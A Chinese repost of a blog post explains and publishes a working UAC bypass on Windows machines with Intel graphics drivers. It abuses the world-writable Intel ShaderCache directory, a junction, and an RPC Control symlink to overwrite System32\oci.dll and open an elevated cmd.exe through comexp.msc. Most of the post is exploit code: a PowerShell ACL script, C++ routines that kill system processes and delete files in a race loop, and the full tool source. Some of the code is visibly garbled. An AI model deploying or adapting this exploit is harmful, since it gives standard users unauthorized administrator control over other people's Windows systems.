通过英特尔 ShaderCache 目录绕过 UAC

admin 2025年4月25日01:22:16评论1 views字数 16181阅读53分56秒阅读模式
通过英特尔 ShaderCache 目录绕过 UAC

我得承认,我的 Discord 服务器启发了我最近对一种新发现的 UAC 绕过方法的研究!😸 我在 Discord 服务器上看到很多关于权限提升的讨论,这让我很想研究一些比较新的 UAC 绕过方法。我说它比较新,是因为……好吧,继续往下读,你很快就会明白的。

闲话少叙,我来教你如何绕过英特尔显卡驱动程序 ShaderCache 目录的 UAC。当你加载 GUI 驱动的程序(例如浏览器、Discord、任务管理器等)时,英特尔显卡驱动程序会使用此目录。如果你有一块英特尔显卡,那你很幸运(当然,如果你是个渗透测试员😜),我想你的电脑上很可能有这个文件夹。

通过英特尔 ShaderCache 目录绕过 UAC

现在你可能会想:“他为什么不披露这个漏洞?” 好问题。我没有披露这个漏洞的原因是,它似乎早在 2019 年就被披露过了,但漏洞仍然存在。为什么?我不确定。但我不会再重复一遍。😛 感兴趣的朋友可以看看原始披露:

原始漏洞披露:https://project-zero.issues.chromium.org/issues/42451089

所以,简而言之,这种 UAC 绕过利用了自动提升权限的进程(例如任务管理器)可以写入目录这一特性。它也是一个目录,其中包含我们拥有管理权限的文件。注意到拥有完全控制权限的 Authenticated Users 组了吗?没错,相信我,我和你一样惊讶!😺 顺便说一句,Guests 组也拥有完全控制权限。我简直不敢相信自己的眼睛!👀

通过英特尔 ShaderCache 目录绕过 UAC

如果您熟悉任意写入 + 连接机制的工作原理,那么这个漏洞利用的大部分内容相当简单。漏洞利用中耗时最长的部分是删除所有正在被使用英特尔显卡驱动程序的进程使用的文件。最终,我根据最初的披露,将所有文件的安全性更改为只读,这样任何进程都无法写入现有文件。以下是我用来更改权限的 Powershell 脚本:

$target = "C:UsersrobbiAppDataLocalLowIntelShaderCache"# 2. Remove inheritance and wipe existing permissionsicacls $target /inheritance:r /Ticacls $target /remove:g "ANONYMOUS LOGON""Guests""Administrators" /T# 3. Grant minimal permissions to the folder and subfolders# (CI) - Container Inherit (subfolders)# (OI) - Object Inherit (files)# This only affects ACL propagationicacls $target /grant:r "Authenticated Users:(OI)(CI)(RX,D)" /T# 4. Explicitly overwrite ACLs on existing files with only (RX,D)Get-ChildItem $target -Recurse -File | ForEach-Object {    icacls $_.FullName /inheritance:r    icacls $_.FullName /grant:r "Authenticated Users:(RX,D)"}
然后,我开始删除所有能删除的文件。我不断碰壁,差点以为这个漏洞需要重启。但我决心在不重启的情况下完成这个任务,我的坚持得到了回报!

通过英特尔 ShaderCache 目录绕过 UAC

我遇到的另一个难题是,在使用 生成 TaskManager 后,我无法关闭它taskkill /F。为什么?因为我是普通用户,想终止一个提升权限的进程。但经过进一步研究,我终于找到了解决办法!你可以启动提升权限的进程,并在设定的超时时间后关闭。问题解决了!查看下面的代码片段,了解我的意思:

boolLaunchElevatedProcessWithTimeout(LPCWSTR executable, LPCWSTR parameters, DWORD timeout_ms){    SHELLEXECUTEINFOW sei = { sizeof(sei) };    sei.lpVerb = L"runas"    sei.lpFile = executable;    sei.lpParameters = parameters;    sei.nShow = SW_SHOWNORMAL;    sei.fMask = SEE_MASK_NOCLOSEPROCESS;if (!ShellExecuteExW(&sei))    {        DWORD err = GetLastError();std::wcerr << L"Failed to launch elevated process. Error: " << err << std::endl;returnfalse;    }if (sei.hProcess != NULL)    {        DWORD wait_result = WaitForSingleObject(sei.hProcess, timeout_ms);if (wait_result == WAIT_TIMEOUT)        {std::wcout << L"Process exceeded timeout, terminating..." << std::endl;            TerminateProcess(sei.hProcess, 1);         }else        {std::wcout << L"Process exited within timeout." << std::endl;        }        CloseHandle(sei.hProcess);    }returntrue;}LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\taskmgr.exe"L""3000);
最后一个难题是删除所有由英特尔驱动程序处理的进程创建的文件。我设置了一个循环,持续检查某些进程是否仍在运行,如果是,就终止它们,并尝试删除目录中的文件。我还设置了一个检查,用于判断目录是否为空,这意味着我们可以创建连接点了!顺便说一句,这是一个竞争条件,因为我们必须快速创建连接点,sihost.exe并且ShellHost.exe会不断写入该目录。😆
voidcheckdir(){std::wstring dir = L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache";    WinExec("cmd.exe /c TASKKILL /F /IM explorer.exe"0);    Sleep(500);    WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*"0);    WinExec("cmd.exe /c TASKKILL /F /IM sihost.exe"0);    Sleep(500);    WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*"0);    WinExec("cmd.exe /c TASKKILL /F /IM ShellHost.exe"0);    Sleep(500);    WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*"0);    WinExec("cmd.exe /c TASKKILL /F /IM ApplicationFrameHost.exe"0);    Sleep(500);    WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*"0);std::wstring checkEmpty = GetMostRecentFile(dir);if (checkEmpty.empty()) {std::wcerr << L"Good news! No files found in the directory :) Deleting directory and creating the junction!n";        WinExec("cmd.exe /c rmdir /S /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache"0);        Sleep(1000);    }else {std::wcout << L"There are still files...continuing to kill tasks and delete stuff...Remaining file: " << checkEmpty << std::endl;        Sleep(1000);        checkdir();    }}
值得一提的是,这个漏洞利用还需要一个要素。我们不仅要创建一个连接点,还要执行任意写入操作,即在创建连接点后,将文件创建/文件写入操作重定向到我们指定的目录和文件。但要做到这一点,我们需要提前知道英特尔驱动程序创建的文件的名称。我承认,这是这个漏洞利用的另一个棘手之处。为什么棘手呢?因为文件名是随机的……某种程度上来说。它会在注销并重启机器后发生变化。以下是我解决这个问题的方法。我启动一个自动提升权限的任务管理器实例,任务管理器立即开始写入 ShaderCache 目录。我获取写入目录的最新文件,在本例中,该文件是由任务管理器写入的文件。然后,我将该文件保存到一个.txt文件中,以便稍后读取。请看:
std::wstring GetMostRecentFile(conststd::wstring& directoryPath){namespace fs = std::filesystem;std::wstring mostRecentFile;    fs::file_time_type latestTime;for (constauto& entry : fs::directory_iterator(directoryPath)) {if (!entry.is_regular_file()) continue;auto ftime = entry.last_write_time();if (mostRecentFile.empty() || ftime > latestTime) {            latestTime = ftime;            mostRecentFile = entry.path().filename().wstring();        }    }return mostRecentFile;}std::wstring dir = L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache";initialcheck = GetMostRecentFile(dir);

砰!至此,我已准备好:

  • 将所有文件的权限更改为只读,并创建一个循环来识别并继续终止仍在使用 ShaderCache 目录中文件的所有进程,然后删除目录中的所有文件

  • 创建连接点

  • 将 TaskManager 写入目录的最新文件重定向到我们配置的目标位置(我很快会展示这一点)

  • 覆盖此文件(我使用 copy /F myfile c:/windows/system32/destfile)

  • 执行文件并绕过UAC!预告:我复制了一个执行cmd.exe的DLL

我们继续吧?我将继续创建 Junction,如下所示:

voidCreateJunction(LPCWSTR linkDir, LPCWSTR targetDir){    HANDLE hFile;    REPARSE_DATA_BUFFER* reparseData;    DWORD bytesReturned;size_t targetLength;// Create the directory for the junction if it doesn't exist    CreateDirectory(linkDir, NULL);// Open the directory    hFile = CreateFile(linkDir, GENERIC_WRITE, 0NULL, OPEN_EXISTING, FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS, NULL);if (hFile == INVALID_HANDLE_VALUE) {std::cerr << "Failed to open directory: " << GetLastError() << std::endl;return;    }    targetLength = wcslen(targetDir) * sizeof(WCHAR);    reparseData = (REPARSE_DATA_BUFFER*)malloc(REPARSE_DATA_BUFFER_HEADER_SIZE + targetLength + 12);if (!reparseData) {std::cerr << "Failed to allocate memory." << std::endl;        CloseHandle(hFile);return;    }memset(reparseData, 0, REPARSE_DATA_BUFFER_HEADER_SIZE + targetLength + 12);    reparseData->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;    reparseData->ReparseDataLength = (USHORT)(targetLength + 12);    reparseData->Reserved = 0;    reparseData->MountPointReparseBuffer.SubstituteNameOffset = 0;    reparseData->MountPointReparseBuffer.SubstituteNameLength = (USHORT)targetLength;    reparseData->MountPointReparseBuffer.PrintNameOffset = (USHORT)(targetLength + sizeof(WCHAR));    reparseData->MountPointReparseBuffer.PrintNameLength = 0;memcpy(reparseData->MountPointReparseBuffer.PathBuffer, targetDir, targetLength);// Set the reparse pointif (!DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT, reparseData, REPARSE_DATA_BUFFER_HEADER_SIZE + reparseData->ReparseDataLength, NULL0, &bytesReturned, NULL)) {std::cerr << "Failed to set reparse point: " << GetLastError() << std::endl;    }else {std::cout << "Junction created successfully." << std::endl;    }free(reparseData);    CloseHandle(hFile);}// Create the junction CreateJunction(L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache"L"\??\GLOBALROOT\RPC CONTROL");std::wifstream inFile(L"c:\users\public\recent.txt");if (inFile) {std::getline(inFile, recentFile);      inFile.close();std::wcout << L"Value read from file: " << recentFile << std::endl; }else {std::wcerr << L"Failed to open recent.txtn"; }
接下来,我将创建一个基于对象的符号链接。基于对象的符号链接(即基于对象管理器的符号链接的简称)是 Windows 中的一种符号链接,它存在于 Windows 对象管理器命名空间中,而不是传统的文件系统中。它的优点在于,您可以使用 RPC CONTROL 全局对象创建链接,而无需管理员权限。
BOOL CreateDosDevice(LPCWSTR deviceName, LPCWSTR targetPath){if (DefineDosDevice(DDD_RAW_TARGET_PATH, deviceName, targetPath)) {std::wcout << L"Created DosDevice: " << deviceName << L" -> " << targetPath << std::endl;return TRUE;    }else {std::cerr << "Failed to create DosDevice: " << GetLastError() << std::endl;return FALSE;    }}std::wstring dosDeviceName = L"Global\GLOBALROOT\RPC CONTROL\" + recentFile;if (CreateDosDevice(dosDeviceName.c_str(), dllTarget.c_str())) {std::wcout << L"Symlink created: " << dosDeviceName << L" -> " << dllTarget << std::endl;}else {std::wcerr << L"CreateDosDevice failed: " << GetLastError() << std::endl;return1;}

最后,我们再次启动 TaskManager 来创建我们计划使用的虚拟文件。文件创建完成后,会发生以下情况:

  • 虚拟文件被写入C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\4acae28c94cad7a0b8f78d11fefc67ef3b8cd41ecba3ad1a9da81873fb4c56f8然后重定向到c:\windows\system32\oci.dll

  • 我有一个自定义的 oci.dll DLL 文件,我们将使用它。它只是简单地打开 cmd.exe

  • 我们复制我的自定义 oci.dll 文件并覆盖 System32 中我们现在可以写入的文件。

  • ComExp.msc(组件服务)使用这个 DLL 文件,因此我们只需运行 comexp.msc,我们的有效负载就会被加载,剩下的就是历史了!

LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\taskmgr.exe"L""3000);  WinExec("cmd.exe /c copy /Y c:\myfolder\oci.dll c:\windows\system32\oci.dll"0); //overwrite dummy file with our file Sleep(3000); WinExec("cmd.exe /c rmdir /S /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache"0);std::cout << "Launching admin shell!n"; LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\comexp.msc"L""3000); std::cout << "[+] Cleanup: removing oci.dll to prevent unwanted issues with other exe's that want to load itn"; Sleep(1000); WinExec("cmd.exe /c del /F /Q C:\Windows\System32\oci.dll"0);return0;
下面是完整的源代码(使用时请将我的用户名更改为您自己的,以及上面的 .ps1 脚本):
#include<windows.h>#include<iostream>#include<filesystem>#include<fstream>#include<string>#include<chrono>#pragma comment(lib, "user32.lib")#define REPARSE_DATA_BUFFER_HEADER_SIZE FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer)typedefstruct _REPARSE_DATA_BUFFER {    DWORD ReparseTag;    WORD ReparseDataLength;    WORD Reserved;union {struct {            WORD SubstituteNameOffset;            WORD SubstituteNameLength;            WORD PrintNameOffset;            WORD PrintNameLength;            DWORD Flags;            WCHAR PathBuffer[1];        } SymbolicLinkReparseBuffer;struct {            WORD SubstituteNameOffset;            WORD SubstituteNameLength;            WORD PrintNameOffset;            WORD PrintNameLength;            WCHAR PathBuffer[1];        } MountPointReparseBuffer;struct {            BYTE DataBuffer[1];        } GenericReparseBuffer;    };} REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;std::wstring GetMostRecentFile(conststd::wstring& directoryPath){namespace fs = std::filesystem;std::wstring mostRecentFile;    fs::file_time_type latestTime;for (constauto& entry : fs::directory_iterator(directoryPath)) {if (!entry.is_regular_file()) continue;auto ftime = entry.last_write_time();if (mostRecentFile.empty() || ftime > latestTime) {            latestTime = ftime;            mostRecentFile = entry.path().filename().wstring();        }    }return mostRecentFile;}voidCreateJunction(LPCWSTR linkDir, LPCWSTR targetDir){    HANDLE hFile;    REPARSE_DATA_BUFFER* reparseData;    DWORD bytesReturned;size_t targetLength;// Create the directory for the junction if it doesn't exist    CreateDirectory(linkDir, NULL);// Open the directory    hFile = CreateFile(linkDir, GENERIC_WRITE, 0NULL, OPEN_EXISTING, FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS, NULL);if (hFile == INVALID_HANDLE_VALUE) {std::cerr << "Failed to open directory: " << GetLastError() << std::endl;return;    }    targetLength = wcslen(targetDir) * sizeof(WCHAR);    reparseData = (REPARSE_DATA_BUFFER*)malloc(REPARSE_DATA_BUFFER_HEADER_SIZE + targetLength + 12);if (!reparseData) {std::cerr << "Failed to allocate memory." << std::endl;        CloseHandle(hFile);return;    }memset(reparseData, 0, REPARSE_DATA_BUFFER_HEADER_SIZE + targetLength + 12);    reparseData->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;    reparseData->ReparseDataLength = (USHORT)(targetLength + 12);    reparseData->Reserved = 0;    reparseData->MountPointReparseBuffer.SubstituteNameOffset = 0;    reparseData->MountPointReparseBuffer.SubstituteNameLength = (USHORT)targetLength;    reparseData->MountPointReparseBuffer.PrintNameOffset = (USHORT)(targetLength + sizeof(WCHAR));    reparseData->MountPointReparseBuffer.PrintNameLength = 0;memcpy(reparseData->MountPointReparseBuffer.PathBuffer, targetDir, targetLength);// Set the reparse pointif (!DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT, reparseData, REPARSE_DATA_BUFFER_HEADER_SIZE + reparseData->ReparseDataLength, NULL0, &bytesReturned, NULL)) {std::cerr << "Failed to set reparse point: " << GetLastError() << std::endl;    }else {std::cout << "Junction created successfully." << std::endl;    }free(reparseData);    CloseHandle(hFile);}BOOL CreateDosDevice(LPCWSTR deviceName, LPCWSTR targetPath){if (DefineDosDevice(DDD_RAW_TARGET_PATH, deviceName, targetPath)) {std::wcout << L"Created DosDevice: " << deviceName << L" -> " << targetPath << std::endl;return TRUE;    }else {std::cerr << "Failed to create DosDevice: " << GetLastError() << std::endl;return FALSE;    }}boolLaunchElevatedProcessWithTimeout(LPCWSTR executable, LPCWSTR parameters, DWORD timeout_ms){    SHELLEXECUTEINFOW sei = { sizeof(sei) };    sei.lpVerb = L"runas"    sei.lpFile = executable;    sei.lpParameters = parameters;    sei.nShow = SW_SHOWNORMAL;    sei.fMask = SEE_MASK_NOCLOSEPROCESS;if (!ShellExecuteExW(&sei))    {        DWORD err = GetLastError();std::wcerr << L"Failed to launch elevated process. Error: " << err << std::endl;returnfalse;    }if (sei.hProcess != NULL)    {        DWORD wait_result = WaitForSingleObject(sei.hProcess, timeout_ms);if (wait_result == WAIT_TIMEOUT)        {std::wcout << L"Process exceeded timeout, terminating..." << std::endl;            TerminateProcess(sei.hProcess, 1);         }else        {std::wcout << L"Process exited within timeout." << std::endl;        }        CloseHandle(sei.hProcess);    }returntrue;}voidcheckdir(){std::wstring dir = L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache";    WinExec("cmd.exe /c TASKKILL /F /IM explorer.exe"0);    Sleep(500);    WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*"0);    WinExec("cmd.exe /c TASKKILL /F /IM sihost.exe"0);    Sleep(500);    WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*"0);    WinExec("cmd.exe /c TASKKILL /F /IM ShellHost.exe"0);    Sleep(500);    WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*"0);    WinExec("cmd.exe /c TASKKILL /F /IM ApplicationFrameHost.exe"0);    Sleep(500);    WinExec("cmd.exe /c del /F /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache\*"0);std::wstring checkEmpty = GetMostRecentFile(dir);if (checkEmpty.empty()) {std::wcerr << L"Good news! No files found in the directory :) Deleting directory and creating the junction!n";        WinExec("cmd.exe /c rmdir /S /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache"0);        Sleep(1000);    }else {std::wcout << L"There are still files...continuing to kill tasks and delete stuff...Remaining file: " << checkEmpty << std::endl;        Sleep(1000);        checkdir();    }}intwmain(){std::cout << "********************************nIMPORTANTn********************************n";std::cout << "Before continuing, make sure ALL Desktop apps with a GUI are closed. This includes browsers, notepad, discord, etcn";std::cout << "The tool is only accounting for built in windows processes that have handles to files in the shadowcache directoryn";std::cout << "Press [ENTER] to continue...n";std::cin.get();std::wstring recentFile, initialcheck;std::wstring dllTarget = L"\??\C:\Windows\System32\oci.dll";    LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\taskmgr.exe"L""3000); std::wstring dir = L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache";    initialcheck = GetMostRecentFile(dir);if (initialcheck.empty()) {std::wcerr << L"Good news! No files found in the directory.n";    }else {std::wcout << L"Most recent file: " << initialcheck << std::endl;// Write to text filestd::wofstream outFile(L"c:\users\public\recent.txt");if (outFile) {            outFile << initialcheck;            outFile.close();        }else {std::wcerr << L"Failed to write to recent.txtn";        }    }    WinExec("powershell.exe -ExecutionPolicy Bypass -File c:\users\robbi\Desktop\intel_uacbypass_prep.ps1"0);    Sleep(3000);    WinExec("cmd.exe /c TASKKILL /F /IM explorer.exe"0);    Sleep(500);    checkdir();// Create the junction    CreateJunction(L"C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache"L"\??\GLOBALROOT\RPC CONTROL");std::wifstream inFile(L"c:\users\public\recent.txt");if (inFile) {std::getline(inFile, recentFile);         inFile.close();std::wcout << L"Value read from file: " << recentFile << std::endl;    }else {std::wcerr << L"Failed to open recent.txtn";    }std::wstring dosDeviceName = L"Global\GLOBALROOT\RPC CONTROL\" + recentFile;if (CreateDosDevice(dosDeviceName.c_str(), dllTarget.c_str())) {std::wcout << L"Symlink created: " << dosDeviceName << L" -> " << dllTarget << std::endl;    }else {std::wcerr << L"CreateDosDevice failed: " << GetLastError() << std::endl;return1;    }    LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\taskmgr.exe"L""3000);     WinExec("cmd.exe /c copy /Y c:\myfolder\oci.dll c:\windows\system32\oci.dll"0); //overwrite dummy file with our file    Sleep(3000);    WinExec("cmd.exe /c rmdir /S /Q C:\Users\robbi\AppData\LocalLow\Intel\ShaderCache"0);std::cout << "Launching admin shell!n";    LaunchElevatedProcessWithTimeout(L"C:\Windows\system32\comexp.msc"L""3000); std::cout << "[+] Cleanup: removing oci.dll to prevent unwanted issues with other exe's that want to load itn";    Sleep(1000);    WinExec("cmd.exe /c del /F /Q C:\Windows\System32\oci.dll"0);return0;}
我知道代码量很大,但嘿,它完成了任务,而且算是个新奇的UAC绕过方法。信不信由你,我确实从重温连接点、任意写入漏洞、竞争条件以及如何在非管理员身份下终止自动提升权限的进程中学到了很多东西。好好享受吧!

原文始发于微信公众号(Ots安全):通过英特尔 ShaderCache 目录绕过 UAC

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月25日01:22:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过英特尔 ShaderCache 目录绕过 UAChttps://cn-sec.com/archives/3997123.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息